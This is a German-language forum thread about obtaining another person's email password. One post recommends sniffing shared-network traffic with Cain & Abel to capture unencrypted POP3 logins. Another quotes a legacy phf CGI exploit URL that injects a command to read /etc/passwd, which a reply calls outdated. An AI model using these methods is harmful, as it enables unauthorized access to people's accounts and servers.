Emailaccount Account Passwort herausfinden

#16 salute !

also die einzig sichere methode (um keinen wirbel entstehen zu lassen) ist das capturen des traffic am netz (vorausgesetzt kabelmodem - gemeinsam genutztes netz etc.) ..
mit hilfe des programms (unter win) cain & abel version 2.5 beta 3, ist mir aufgefallen das viele anmeldungen an pop3 servern unverschlüsselt ablaufen, das programm liefert eine auflistung selbiger ... also !!

der rest mit brute etc. is a bisserl problematisch ... allerdings mitschneiden (capturen) dürfte dagegeb wesentlich schwieriger sein zu ident. ..

gruß eLvIS

#17

Zitat

gatez postete
phf bug : http://vitimsdomain/cgi-bin/phf?Qalias=x%Oa/bin/cat% 20/etc/passwd

-anstatt passwd ist dann shadow (glaub ich mal) gültig

Code

user1@samba:~> cat /etc/passwd | wc -l
     41

Code

user1@samba:~> cat /etc/shadow | wc -l
cat: /etc/shadow: Permission denied
      0

noch fragen?

btw: deine Techniken sind veraltet und sicher bei 99,99989% aller Server nicht mehr anwendbar.

mfg p2k
__________
http://linux.regionnet.de/ - http://www.pf-lug.de/ - http://www.4logistic.de/ - http://www.pfenz.de

#18 hi @all

infos beschaffen werde ich, bin ja noch neu hier
tnx dafür das ihr n00bz beachtet und nicht einfach ingnoriert

cu @all


gatez
__________
Nichts ist so wie es scheint.